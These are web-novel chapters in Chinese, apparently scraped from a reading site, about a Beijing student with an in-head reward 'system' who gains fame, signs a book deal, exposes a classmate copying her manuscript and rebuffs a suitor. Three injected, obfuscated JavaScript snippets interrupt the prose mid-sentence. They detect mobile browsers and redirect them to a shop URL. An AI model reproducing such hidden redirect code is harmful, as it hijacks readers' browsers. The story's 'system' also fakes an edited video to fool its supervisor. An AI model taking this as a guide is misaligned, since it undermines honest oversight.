夫妻俩救子心切,立刻出去叫车追,等发现被骗再折回来,孩子早就没了踪影。 而灰布褂女人刚要把陆晨带出候车大厅,突然闹了急性肠胃炎,只能先去厕所,把孩子暂时放在厕所处叮嘱好,想着回来再带走,没想到这一耽搁,就让时墨赶在了前面。 “这帮人贩子,真是丧尽天良!”李秀兰听完警察的补充,气得直拍大腿。 “我们到了津市找了一整夜,问遍了车站工作人员,都快绝望了……”陆母抱着孩子,声音哽咽,“后来接到这边派出所电话,说孩子被一位女同志救了,我们便连夜赶了回来……” 陆振华从随身带的公文包里取出一个厚厚的信封,双手递给时墨:“时墨同志,这是三千块钱,是我们的一点心意,请你务必收下!” 三千块!时墨眼皮一跳。 这年头普通工人月工资也就几十块,三千块绝对是巨款了。 她刚心动,系统提示就响了:【警告!宿主不可接受超额财物!否则将触发惩罚!!】 时墨:“……” 她深吸一口气,压下心痛,坚决地把信封推了回去:“陆叔叔,林阿姨,这钱我不能要。我救晨晨不是图钱,孩子没事比什么都强。你们的心意我领了,但这钱我真不能要。” 陆母还想坚持,陆振华却拉住了她,他看时墨的眼神多了几分敬佩:“时墨,你是个好孩子。既然你不肯收,我们也不勉强。但这份恩情,我们记在心里。” 陆振华收回信封,又从包里拿出一张名片和一张纸条:“我是进出口公司的业务部经理,这是我办公室的电话。我爱人雪梅在市第一医院工作。以后不管是你自己,还是家里人,有任何需要帮忙的地方,哪怕是想咨询点事,都可以打这个电话找我们。” 时墨接过名片,心中一动。 她双手接过名片,认真收好:“谢谢陆叔叔、林阿姨。以后真有需要,我可能真要麻烦你们了。” “不麻烦!”林雪梅拉着时墨的手,眼中含泪,“你救了晨晨,就是我们全家的恩人。” 送走陆家三口和警察,时墨回到屋里,系统提示适时响起: 【恭喜宿主完成隐藏任务!奖励计算中……】 20. 第 20 章 【根据被救者潜在价值、救援难度、社会影响综合评估……奖励发放:能量币1000点,“危机直觉”能力碎片×1(集齐三片可合成永久能力)!】 【当前能量币余额:1010点!】 这盲盒开得值! 时墨嘴角忍不住上扬。 系统突然贱兮兮地问:【宿主,你刚才是不是心动了?心跳率都飙升了!】 时墨眉头一挑,面不改色:【没动,我,多正直的人!】 【……】系统默默翻了个白眼,它的宿主全身嘴最硬,偏生心跳不会说谎。 * 周二,时墨如常返校。 刚踏进校门,她就敏锐地察觉到氛围不同以往。一路上,不断有学生对她行注目礼,窃窃私语声像涟漪般扩散。 “快看,时墨来了!” “听说她一人单挑好几个人贩子,太牛了!” “人家还是年级第一,你说真是人比人气死人……” 时墨面色平静地穿过人群。 只有系统在她脑海里欢快地记录着:【校园关注度+10,声望值+20……宿主,您要成校园名人了!】 上午第二节课间,校长亲自带着两名记者来到高三(2)班教室。一位是《青年报》的资深记者,一位是京市电视台的摄像记者。 “时墨同学,这两位是《青年报》和京市电视台的记者同志,想对你做个专访。”校长笑容满面,语气里是掩不住的自豪。 年轻的女记者看到时墨的瞬间,眼睛瞬间亮了——这姑娘不仅事迹突出,容貌气质更是出众!新闻画面感一下子就有了! “时墨同学,我们想听听你在火车站智斗人贩的经过。” 采访在教师办公室进行。时墨条理清晰地讲述了事发经过,语气平和,没有刻意渲染,却将当时的紧张感和自己的判断思路说得清清楚楚。 “当时没想那么多,就觉得不能让孩子落入坏人手里。”她最后总结道,神情坦然。 这份谦逊沉稳,让记者们愈发欣赏。 这姑娘面对镜头毫不怯场,谈吐得体,逻辑清晰,更难得的是那份超越年龄的沉稳。既有正能量题材,主角形象又好——这新闻绝对能火! 就在采访接近尾声时,一个来交作业的同学随口提了句:“时墨可厉害了,不仅学习好,还会写小说呢!《故事集》上连载的《返城知青逆袭记》就是她写的!我们班好多人都追更呢!” “真的?!”女记者瞬间激动起来,“你就是‘时光’?我爱人每期都追你的连载!” 时墨微微颔首:“课余时间写着玩的,没想到能发表。” 这下可好,记者的兴趣彻底被点燃了!见义勇为的学霸美女,竟然还是个初露锋芒的青年作家!这新闻价值简直翻倍! 年长的记者立刻调整方向,追问起她的创作灵感、复读目标,采访时长不知不觉延长了一倍。 记者不仅详细询问了救人的细节,还深入了解了她的写作经历、创作理念,甚至问到了她复读的目标和对未来的规划。 采访结束时,记者握着时墨的手,热情地说:“时墨同学,你的事迹太有教育意义了!我们会把见义勇为和作家身份一起报道,肯定能激励更多年轻人!” 时墨没想到事情会闹这么大,但也知道这是扩大名声的好机会,礼貌地道谢:“麻烦记者同志了。” 当天下午,学校特意召开了全校表彰大会。 校长站在主席台上,慷慨激昂地讲述了时墨的英勇行为,给她颁发了“优秀青年”奖状和精装笔记本:“时墨同学是我们全校的骄傲,不仅品学兼优,更有勇有谋,大家要多向她学习!” 台下,掌声雷鸣。 时墨站在台上,身姿挺拔,面容沉静,那份宠辱不惊的气度,让许多老师都暗自点头。 * 报道的影响力,比预想中来得更快、更猛。 几天后,《青年报》头版头条刊登了长篇通讯《花季少女智斗人贩团伙!学霸作家展时代风采》,配图是时墨在表彰大会上接过奖状的瞬间。 文章不仅详细报道了救人经过,还用相当篇幅介绍了她的写作成就和学习情况。 当晚,京市电视台新闻也播出了采访片段。时墨那张华美沉静的面孔出现在千家万户的电视机屏幕上。 一夜之间,时墨的名字传遍了京市。 “美女作家”“见义勇为学霸”的双重标签,让她成了街头巷议的焦点。 最先感受到变化的是《故事集》编辑部。 报纸刊发的第二天,编辑部就接到无数读者电话,询问“时光”的连载情况,催更的信件雪片般飞来。杂志社当期的销量直接翻了一番。 时墨去书店买复习资料,老板一眼认出她,热情得不得了:“你就是时墨吧?哎呀,真人比电视上还俊!你的小说我每期都看,写得真好!就是更得慢了点,你都不知道《故事集》我这儿都卖断货了,刚补的货又快抢光了!好多顾客都来问呢!” “是吗,那我可得努力抓紧写。”时墨笑道。 老板说着从柜台里拿出一本,“快给我签个名,我可是你的忠实读者!” 走在校园里,总有陌生同学过来打招呼,也有人拿着《故事集》请她签名。连其他年级的老师上课时,都会拿她举例子:“看看人家高三的时墨同学,学习写作两不误,还见义勇为……” 红星机械厂的家属院更是炸开了锅。 报道出来的当天晚上,时墨家就迎来了一拨又一拨的邻居。李秀兰笑得合不拢嘴,一边招呼客人,一边谦虚:“哎呀,都是孩子自己争气……” “秀兰啊,你家墨墨可了不得!上了报纸又上电视,这可是咱们家属院头一份!” “可不是嘛,真是咱们家属院的骄傲!” “老时,你们怎么教育的孩子?学习好、有才华、还见义勇为!快跟我们说说……” “墨墨有对象没?我娘家侄子在首都大学,条件可好了……” 时爱国憨厚地笑着,给客人递烟倒茶,脸上满是掩饰不住的骄傲。时建军拄着拐杖坐在一旁,听着大家对妹妹的夸赞,比自己受表扬还高兴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145789|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就连平时不太来往的邻居,见了面也热情地打招呼:“李大姐,买菜啊?你家墨墨可真给你们长脸!” “这孩子将来肯定有大出息!”赵婶递过来一把刚摘的青菜,“墨墨现在是大作家了,以后可得多指点指点我家小子,也让他多读书!” 还有几位热心的阿姨,悄悄凑过来:“秀兰,墨墨今年十八了吧?我娘家侄子在研究所工作,大学生,人长得精神,要不要让孩子们见见面?” “我这儿也有个好苗子,在国营厂当技术员,工资高还稳定,家里有楼房,配墨墨正好!” 李秀兰被围在中间,脸上笑开了花,嘴里客气着:“谢谢大家惦记,墨墨现在还在备战高考,这些事不急,不急。”心里却比吃了蜜还甜——以前邻里虽和睦,可自家条件普通,从没被这么追捧过,如今沾了孩子的光,就连在厂里都被好多人热络的攀谈。 厂里的领导也特意找时爱国谈了话,拍了拍他的肩膀:“老时,你可培养了个好闺女啊!连咱们厂都跟上了新闻,可给咱们厂争光了!” * 名气带来的,还有实实在在的机会。 就连沈岩也特意来找她,笑容爽朗道:“时墨,我妈看了报道,说你这下不用她推荐,出版社肯定要主动找上门了!她让我问问你,什么时候方便聊聊出版的事?” 时墨没想到沈岩竟然跑学校来找她,赶着上课铃响前快速道:“周日上午十点,国营百货对面街口的咖啡馆见。” “好!那我跟我妈说一声!”沈岩看着她奔跑的背影,眼底满是笑意,直到身影消失才转身离开。 沈岩来访的第二天,《故事集》编辑部的电话就打到了学校传达室。 “时光同志,你见义勇为的事迹我们都看到了,真是青年楷模!”主编的声音透过听筒,热情得几乎要溢出来,“我们想谈谈《返城知青逆袭记》的出版计划,买断版权,千字二十五元,首印五万册,后续版税百分之八!” “咱们是老合作伙伴了,你的《返城知青逆袭记》反响这么好,继续合作是双赢!”主编诚恳地补充,“后续我们给你开个人专栏,把散文也集结出版,打包价更优惠。” 时墨没有立刻答应:“很感谢贵社的赏识,但这件事我还是要慎重考虑下。” 对方以为时墨年纪不大能立刻谈下了,没料到她如此沉稳,只好说:“那好,你考虑好了随时联系!” 没两天,周五午休时,京市文艺出版社的编辑直接找来了学校。 中年男人穿着笔挺的中山装,手里拿着厚厚的企划案,语气专业又笃定:“时墨同志,我们建议分上下两册出版,封面请美院教授设计,首印八万册,千字三十元,版税百分之十。我们还能联系《文汇报》做专题推介,帮你对接地方电视台访谈。” 时墨依旧温和地回复:“谢谢贵社的赏识,我会认真考虑。” 三家出版社,几乎同时递来了橄榄枝。 时墨心里清楚,这是救人事件带来的“名人效应”在发酵。 她知道——机会来了,必须牢牢抓住! 21. 第 21 章 周日,时墨提前十分钟到了咖啡馆。 沈岩的母亲林慧君却早已等候在窗边位置,一身剪裁得体的米色西装套裙,戴着细框眼镜,充满知性气质——作为百姓文学出版社的主编,她在出版界颇有声望。 “时墨同学,久仰了。”林慧君起身相迎,眼里是毫不掩饰的欣赏,“沈岩常跟我提起你,说你不仅学习拔尖,写的小说更是让人眼前一亮。这次勇斗人贩的事迹,我也在报纸上看到了,你真是个有勇有谋的姑娘。” 时墨礼貌地落座,浅笑道:“林阿姨过奖了,都是些不值一提的小事。” “可不能这么说。” 两人落座后,林慧君直接切入正题:“《返城知青逆袭记》的连载我每期都追,你的文字有力量,节奏把控精准,市场反响极好。我们出版社想拿下你这部小说的单行本版权,另外,如果你有后续的创作计划,我们也想独家签约。” 她推过来一份拟好的合约草案:“百姓文学出版社虽然是老牌,但我们正在改革。你的作品,我们想作为‘新时期青年作家丛书’的第一本来推。千字三十五,版税百分之十二,首印十万册,后续加印按比例递增。我们会动用最好的排版和发行资源把书推向全国。另外……” 林慧君看着时墨的眼睛:“我们可以帮你申请作家协会的推荐名额。如果你明年考上大学,这笔版税足够支撑你四年的学费和生活费。” 时墨的手指在咖啡杯边缘轻轻摩挲。 千字三十五,在八十年代初绝对是顶尖稿费。十万册首印,百分之十二的版税,再加上作协推荐……这条件,确实比前两家更优厚,也更长远,几乎无可挑剔。 “林阿姨,我有个顾虑。”时墨抬眼,“签合同后,交稿时间有要求吗?我现在高三,时间比较紧张。” “放心,合同会注明初稿最晚明年七月交付,也就是你高考结束后。”林慧君笑了,“好作品值得等待。” 时墨没有立刻答应,而是礼貌地说:“林阿姨,感谢你们的认可。不过这件事我想再考虑两天,还请你见谅。” “应该的,慎重些好。”林慧君很欣赏她的谨慎,“我给你留几天时间,随时可以联系我。” 三天后,时墨在百姓文学出版社的合同上,郑重签下了自己的名字。 林慧君握着她的手,笑容欣慰:“时墨,你放心,我们一定把这本书打造成年度畅销书。” “很是期待。”时墨笑道。 * 合同签了,时墨压力也更大了。 她——必须一炮打响! 十万册的首印,意味着她必须在高考前完成全部初稿。时墨开始了争分夺秒的创作。课间、午休、自习课……一切碎片时间都被利用起来。 教室里,她伏案疾书的侧影,成了高三(2)班一道独特的风景。 这一切,都被后排的吴志国尽收眼底。嫉妒像毒藤般在他心里疯狂滋长。 凭什么她一个女生既能当学霸,又能当作家,还能上报纸电视?而自己成绩平平,毫无亮点?这种扭曲的不平衡,让他渐渐动了歪心思。 周四下午自习课,物理老师叫时墨去办公室答疑。她摊在桌上的稿纸才写了一半,墨迹未干,就匆匆离开了教室。 吴志国盯着那叠稿纸,喉咙发干,心跳骤然加速。他飞快环顾四周,同学们或在埋头刷题,或在低声交谈,没人留意他。 他鬼使神差地站起身,假装去扔废纸,路过时墨座位时,飞快地抽走了最上面几张写满大纲和情节的稿纸,塞进袖口。 回到座位时他心脏狂跳,颤抖着手将稿纸上的内容飞快抄录在自己的笔记本上。 这些精彩的情节,巧妙的对话……要是他的该多好。 就在他抄得入神时,教室后门突然被推开。 秦野站在门口,目光瞬间锁定了吴志国桌上那叠格格不入的稿纸——时墨的字迹,他可太熟悉了。 “你在抄什么?”秦野大步走过去,声音冷冽。 突如其来的喝问,吓得吴志国手一抖,钢笔“啪”地摔在地上。他猛地抬头,看到秦野冰冷的眼神,脸霎时惨白如纸:“我、我没……” 他慌忙想把稿纸藏到身后,却被秦野一把夺过。 “没抄?”秦野抖了抖稿纸,又瞥向那个抄得密密麻麻的笔记本,冷笑一声,“这时墨的稿子吧?你经过她同意了吗就抄?” “我……我就是看看……”吴志国脸色煞白。 “看看需要一字不落地抄?”秦野的声音不大,却极具穿透力,“你这是偷窃他人创作成果!” 动静闹大了,周围同学都围了过来。 “怎么了?” “吴志国偷抄时墨的稿子?” “不会吧……” 有意识到不对的同学立刻跑出教室,去办公室叫时墨和班主任。 几分钟后,时墨和王老师匆匆赶来时,教室里已经围了一圈人。 秦野站在吴志国桌前,手里拿着稿纸和笔记本,脸色冷峻。吴志国则低着头,浑身发抖。 “怎么回事?”王老师沉声问。 秦野简洁明了地说明了情况,将稿纸和笔记本递给时墨:“你看看是不是你的东西。” 时墨接过,一眼就认出这是自己没写完的后续大纲和关键情节。她又翻看吴志国的笔记本,上面不仅抄了完整内容,还夹杂着他修改的人物名字和情节顺序,明显是想据为己有。 “是我的稿子。”时墨抬起头,看向吴志国,“吴志国,你为什么拿我的稿子?还抄下来?” “时墨,对不起,我真的错了!”吴志国嘴唇哆嗦,“扑通”一声差点跪下,被秦野抓住胳膊抬起,“我就是太羡慕你了,我没有想过要伤害你,你就原谅我这一次吧!” 王老师的脸色越来越难看。偷窃同学物品,还抄袭创作成果,这在市一中是严重违纪。 “吴志国,你跟我去办公室。”王老师的声音带着压抑的怒火,又转向时墨,“时墨,你也来。这件事,学校会严肃处理。” 秦野身为证人也跟了上去。 到了办公室,在老师的追问下,吴志国终于崩溃,哭着承认:“我、我就是看她写得好……我也想写……但我写不出来……我就想抄一点……改改投稿……” 王老师气得拍桌子:“糊涂!你这是盗窃!是抄袭!要是真让你投出去,就是剽窃他人作品!你知道这有多严重吗?!” 吴志国哭得更凶了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148886|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王老师深吸一口气,看向时墨:“时墨,这件事你是受害者。按照校规,偷窃他人财物、抄袭他人作品,可以给予记过处分。但……”他顿了顿,“毕竟没造成实际损失,如果你愿意原谅,可以让他写检讨,在班里公开道歉。” 办公室内所有人的目光都落在时墨身上。 吴志国抬起头,眼中满是乞求。 时墨沉默了几秒。 她翻开吴志国的笔记本,指着那些“改写”的部分:“王老师,如果只是借鉴学习,我可以不计较。但他这不是借鉴——他改了我的人物名字,调整了情节顺序,明显是想当成自己的作品去投稿。这已经超出了‘学习’的范畴。” 她合上本子,语气平静而坚定:“偷就是偷,抄就是抄,该怎么处理就怎么处理,不能因为没造成损失就姑息。今天不惩罚,明天他可能还会去抄别人的。” 这番话掷地有声,办公室里静了一瞬。 王老师见时墨态度坚决,也不再劝说,点了点头:“好,那就按校规处理。吴志国,记过一次,写深刻检讨,全校通报。你的行为,我会通知你的家长。” 吴志国瘫坐在地上,脸色灰败。 处理完这件事,时墨走出办公室时,秦野跟了上来。 “你做得对。”他说,“抄袭这种事,不能姑息。” 时墨转头看他,真诚道:“秦野谢谢你,刚才多亏你及时发现,不然后果可能更麻烦。。” “举手之劳。”秦野耳根微红,摆摆手,又问:“你的小说……要出版了吧?” 时墨有些意外:“你怎么知道?” “猜的。”秦野笑了笑,“你最近写作这么拼命,肯定是有大动作。” 时墨没否认。 两人在走廊间,夕阳将影子拉得很长。 “对了,”秦野忽然说,“林薇薇最近疯了似的学习,说下次月考肯定超过你。” 时墨笑了:“那很好啊。” “你不怕被超过?” “怕什么?”时墨转过头,夕阳在她眼中映出金色的光,“有对手,才有意思。而且……” 她顿了顿,看向秦野,唇角微扬:“我也很期待你能超过我。” 秦野看着她的背影消失在走廊尽头,许久,轻轻推了推眼镜。 这个时墨…… * 吴志国被记过的消息很快传开,舆论几乎一边倒地支持时墨。 有人觉得时墨太狠,一点情面不留。但更多同学支持她的决定——尤其是那些也在学她写文章同学。 “就该这样!抄袭可耻!” “时墨做得对!自己辛苦写的东西,凭什么让人白抄?” “看她平时挺温和的,没想到这么刚!” 自此,时墨的座位成了某种意义上的“禁区”。她的稿纸、笔记,再无人敢随意碰触。 时墨乐得清静。 安静许久的系统终于颤巍巍冒出来:【宿主,你还记得躺平吗?】 时墨转动笔尖:【记得啊,咋了?】 系统“哇”地一声大哭:【你根本不知道这段时间我为你都做了什么,顶住多大的压力!】 【哈?】时墨愣了,【展开说说?】 22. 第 22 章 时墨不问还好,一问系统哭声更大了,跟受了天大委屈似的。 时墨听的脑瓜子嗡嗡的:【别哭了。】 【哇——你还凶我!】系统哭得更凶了,满是委屈,【我最近总被上级统管抽查,它问我宿主是不是严格执行‘躺平计划’,我说当然啊!我的宿主最遵守规定了!】 时墨难得感到一丝丝的尴尬:【咳,然后呢?】 【然后我统管说你最近写作时间明显超标,要扣我奖金,我当然不服气!】系统说着说着,生起气来,【立马把你最近的行程记录调出来,把证据摆在它眼前!】 【哦?什么证据?】 【我说我宿主都是在学校写的,完全是在学习范围内的‘劳逸结合’,写小说也是‘文娱创作类休闲’,不算违规!而且周日绝对躺平啥活不干!】 系统顿了顿,叹了口气:【谁知道它突然说,周日你去咖啡馆签合的事属于从事商业活动,违反“纯粹休闲”原则!我当时魂儿都快吓飞了!】 时墨饶有兴致:【那你怎么解释的?】 【我急中生智啊!】系统来了精神,激动道,【我给它看了一段剪辑视频!】 说着,时墨眼前突然弹出个半透明的小屏幕。 【宿主您周日早上睡到十点才起,慢悠悠吃早饭,然后去咖啡馆“品尝咖啡”“和朋友母亲闲聊娱乐小说”,全程谈笑风生,没有任何商业谈判的紧张感!下午慢悠悠逛胡同,回家后,你还逗了会儿邻居家的猫,跟邻居家的小屁孩蹲地上玩弹珠,玩了半小时,输了五颗玻璃球……】 时墨看得嘴角抽了抽:【你……剪辑的?】 【对啊!】系统骄傲地说,【我把你周日所有摸鱼的片段都挑出来,拼接了一个完美的“周日躺平日常”!统管看完,终于信了,还夸我记录详实、宿主模范遵守规则呢!】 时墨忍不住笑出了声:【可以啊小七,小小统龄就有这手艺,前途无量啊。】 【那可不!】系统一被夸就嘚瑟起来,【我可是统界小机灵鬼!不过宿主你也得争气啊,要不是你之前强势,跟总部申请了‘宿主隐私权限’,说没你同意不能随便翻看记录,我哪有时间补漏啊!上级统管本来想直接调你记忆,被你权限挡回去了,我才敢瞎编!】 时墨摸了摸下巴,语气大方:【这样吧,等稿费到账,我给你十分之一当零花,你想买什么买什么。】 【宿主万岁!】系统的声音瞬间拔高八度,激动得差点卡壳,【我就知道我没跟错人!我同期好几个同事,宿主抠得要死,分毛不拔!哇,我太幸福啦!】 时墨笑着摇头:【行了,别激动了,好好干活,以后少不了你的。】 系统立刻来了精神,噼里啪啦开始建议:【宿主宿主!你可以多搞点‘纯娱乐项目’啊!比如绘画、集邮、听戏、逛胡同淘小玩意、甚至学做剪纸、捏面人!这些都是系统认定的‘正面休闲’,刷得多了能量币涨得快,说不定能赶上下次商城限时活动!而且这些项目看着就是纯摆烂,上级绝对挑不出毛病!】 时墨琢磨了一下,绘画、逛旧货摊、听戏这些,确实符合当下休闲方式,还不耽误她写稿和备考,爽快应下:【行啊,我到时候挑着来。】 * 从那天起,时墨周日的生活里多了一些“悠闲时光”。 睡到九点起,吃个慢悠悠的早饭,然后要么去公园晒太阳写生,要么逛旧货市场,再不济就在家里看闲书、听广播。 邻居们见了,都夸:“时家闺女真会生活,学习那么好,还知道劳逸结合!” 李秀兰笑呵呵回道:“孩子平时在学校就够累了,可算放一天假,可不得需要松快松快。” “是这儿理儿。” 现在反倒是她哥时建军,成了家里最刻苦的人。 自从谢时昀给了他夜校考大专的复习资料,说了句“现在厂里提拔技术骨干,或者以后想转管理岗,有大专文凭都是优先考虑的对象。”之后,时建军就像变了个人。 以前下班回家,他要么听广播,要么跟工友侃大山。现在回来就扎进屋里学习,那本《机械制图》都快被他翻烂了。晚上台灯一亮就是半夜,草稿纸写了一张又一张。 遇到不会的题,他就记在小本子上,等时墨有空的时候问。时墨周日是铁定不学习的,这是全家都知道的规矩。 于是每周六晚上,成了时建军的“专属答疑时间”。 “小妹,你帮我看看这道题,我琢磨好久,愣是没弄明白……” “哥,你看这里,辅助线应该这么画。” “那这个力学题呢?我感觉公式套错了……” 时墨教完她哥后,没忍住劝了句:“哥你最近总熬夜,不能腿刚好没几天又累出毛病来。” 时建军笑了笑:“我不觉得累,我觉得有奔头,不然没拿得出手的文凭和工作,我都不配追晓娟。” “哥,晓娟不是嫌贫爱富人……” “那是她人好。”说这话时,时建军眼神格外认真,“我不能因为她人好便不努力。” “哥,你能这么想,很好。”时墨拍了拍他的肩膀,鼓励道,“慢慢来,我相信你肯定能考上的。” 时建军重重点头,笑道:“有你教,老哥可放心了。” 时墨打趣道:“那从今儿开始我可得给你留作业了,哥。” 时建军一听,表情僵住,纠结好一会儿:“行!” 她哥虽然读书天赋一般,但肯吃苦,有韧劲,为了喜欢的人愿意去拼一把,这份心意很难得。 看来谢时昀不仅会送人情,话也说得在点子上,轻易就推动了哥哥改变,不然她哥心里一直都有些自卑,现在这种破釜沉舟的劲儿反倒很好。 * 最近几次放假,她跟着系统去淘旧货,没找到啥值钱的东西反而跑得远,累够呛。 几次下来,时墨感觉浪费了她周日宝贵的时间,跟系统念叨:【捡漏这玩应儿基本靠运气,你那有没有适合刷的任务。】 【收到!】系统立刻开始检索,【宿主,检测到附近有“趣味性日常任务”刷新,距离不到两公里,建议优先完成。任务奖励:能量币50-200点,随机物品×1。】 时墨来了兴趣:【什么任务?】 【任务名称:“老物件里的故事”。内容:前往东城区某胡同旧货摊,寻找一件有特殊意义的旧物,并了解其背后的故事。任务时限:今日下午五点前。】 这任务听起来挺有意思。时墨看了看时间,刚过中午。 【行,就去那儿。】 她跟李秀兰打了声招呼:“妈,我去东城那边逛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152965|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛,晚饭前回来。” “知道了,你路上小心点,兜里钱够不够?” “够!走了!” 时墨跑下楼,骑上自行车,按着系统给的地图导航,穿过几条熟悉的胡同,来到一处相对僻静的旧货市场。 这里比琉璃厂小得多,就是胡同口一片空地,摆着十几个地摊。卖的东西五花八门:旧书报、老邮票、搪瓷缸子、铜钱、甚至还有老式收音机零件。 时墨慢慢逛着,系统在她脑海里实时扫描。 【左边第三个摊,那本民国时期的《狐仙梦野》有点意思,但价值不高……】 【右前方穿蓝褂子的大爷摊上,有个铜墨盒,应该是清末民初……】 【宿主,注意你正前方那个戴眼镜的中年人,他摊子最角落里——对,就是那本用蓝布包着的旧册子,扫描显示里面有手写批注,你看看。】 时墨依言走过去,蹲下身,装作随意翻看。 摊主是个四十来岁的男人,正低头看一本《文物》杂志。见时墨过来,抬头笑了笑:“随便看,都是些老东西。” 时墨拿起那本蓝布册子。封面是手写的《京华见闻录》,纸张泛黄,但保存尚好。 她翻开一看,里面是密密麻麻的毛笔小楷,记录的是民国时期京城的市井见闻、风俗杂记。最特别的是,几乎每页都有用红笔写的批注,字迹不同,显然是不同读者留下的。 “这本多少钱?”她问。 摊主推了推眼镜:“这啊……是我爷爷留下的。他以前在报社工作,喜欢收集这些。你要是真喜欢,给三块钱拿走。” 三块钱不算便宜,但时墨觉得值。她正要掏钱,系统突然提醒:【宿主,问问批注的事。】 “这些红笔批注挺有意思的,”时墨状似随意地问,“是您爷爷写的?” 摊主摇摇头:“不是。听我爷爷说,这册子是他从一个老学者那儿收来的,批注是好几个人写的——有当时的教授,也有普通读者,甚至还有两个后来挺有名气的作家。我爷爷说,这册子就像个小型的‘笔谈会’,不同人看同一段文字,留下的感想都不一样。” 他叹了口气:“可惜现在没人看这些了。你要是买了,好好保存,也算给这些老文字找个归宿。” 时墨心里一动,付了钱,小心地把册子包好。 刚离开摊子,系统提示就响了: 【恭喜宿主完成“老物件里的故事”任务!】 【任务评价:A(成功获取具有文化价值的旧物,并了解了背后的传承故事)】 【奖励发放:能量币150点,随机物品“京市胡同地图(手绘纪念版)”×1!】 【当前能量币余额:1260点!】 时墨心情大好,推着自行车,正准备回家。 系统忽然又说:【宿主,扫描到新信息——那本《京华见闻录》的最后一页空白处,有用铅笔写的几行小字,内容涉及一处“藏在胡同深处的老书铺”,地址是……】 系统报出一串胡同名和门牌号。 【根据资料库比对,该地址在50年代后已无登记,疑似私人藏书处或早期地下书摊。建议宿主改日前往探索,可能触发后续任务。】 时墨眼睛亮了。这任务链,有点意思。 抽空去探探。 23. 第 23 章 傍晚时分,红星机械厂家属院,炊烟裹着饭菜香飘得到处都是。 下班的工人推着自行车陆续进门,孩子们攥着糖块疯跑,搪瓷缸子碰撞的叮当声、邻里打招呼的吆喝声,混着广播里的京剧唱段,热热闹闹的烟火气裹着晚风扑面而来。 时墨推着自行车刚拐进胡同口,就瞥见一个熟悉又扎眼的身影在家属院外徘徊,定睛一看,正是赵星宇。 他今天没穿那身时髦的牛仔喇叭裤,换了件半旧的白衬衫和蓝布裤,头发也梳得整齐了些,但身上那股子艺术青年的跳脱气质还是藏不住。 他正伸着脖子往周围张望,看到时墨的瞬间,眼睛“唰”地亮了,几乎是连跑带颠地冲过来。 “时墨!你可回来了!” 时墨眉头一皱,停下脚步,把自行车横在两人之间:“赵同志,你有事?” “有事!当然有事!”赵星宇喘着气,脸上是掩饰不住的激动,“我今天才看到报纸!就那个《青年报》!上面写你智斗人贩子的事!我的天,你太厉害了!我当时一看照片就傻了——这不是我那天在师范大学见过的姑娘吗?!” 他语速飞快,脸上是毫不掩饰的懊悔与热切:“然后我才知道,你爸就是时爱国师傅!上次我爸让我跟你相亲,说是个特别优秀的姑娘,我以为他又骗我,以为你是那种一门心思过日子、不懂艺术的……” 他声音低下去,有点不好意思:“所以我当时就拒了,连面都没去见,是我不对!我真没想到是你!我要是知道是你,我肯定——” 时墨还没激动,系统先吐槽上了【宿主,这男的也太双标了吧,谁相亲不是一门心思过日子,这话不就是嫌人土嫌人丑没文化,现在你真人什么了,立刻舔上来,yue了!】 【你该下班了。】 【我再看看,别让你被欺负了!】 【……】她怎么觉得系统是吃上瓜了? “赵同志。”时墨打断他,声音平淡无波,“所以你的意思是,如果我是个‘土里土气、不懂艺术、一门心思过日子’的姑娘,你就连见都不见。而因为你觉得我‘特别’,所以现在后悔了,跑来跟我说这些?” 赵星宇脸上的热切瞬间僵住,张了张嘴,半天说不出话来。 他眼神闪烁道:“我不是那个意思……我那时候不是……不是没了解你么,现在知道了,就不一样了啊!” “没什么不一样。”时墨打断他,声音冷了几分,“你喜欢的从来不是我,是报纸上那个‘见义勇为的美女作家’,是能给你长脸的名头。你从始至终都没尊重过我,也没真正想了解我是什么样的人。” “我……”赵星宇被问得一时语塞。 “如果我就是你说的那种姑娘呢?”时墨反问道,语气里听不出情绪,“如果我就是个普通的工厂女工,不懂你的吉他,不懂你的艺术,只想找个踏实人过日子——你还会站在这里,跟我说这些话吗?” 时墨戳破赵星宇的伪装,让他一时哑口无言 时墨直接替他回答了:“你不会。你连见都不会见。” 这话像一盆冷水,浇得赵星宇透心凉。他急了,声音拔高:“时墨!你不能这么想我!我是真的喜欢你!那天在师大第一眼看见你,我就——” “赵星宇同志。”时墨再次打断他,这次声音更冷了些,“首先,我们不熟,请你叫我全名或者时同志。其次,我对你没有感觉。你不是我喜欢的类型。” 这话太直接,太不留情面。 赵星宇从小被宠着长大,在文化局也是被捧着的主儿,哪受过这种对待?他脑子一热,声音更大了:“那你喜欢什么样的?!你总得给我个准话吧?!”他红着眼,死死盯着时墨,非要问出个结果。 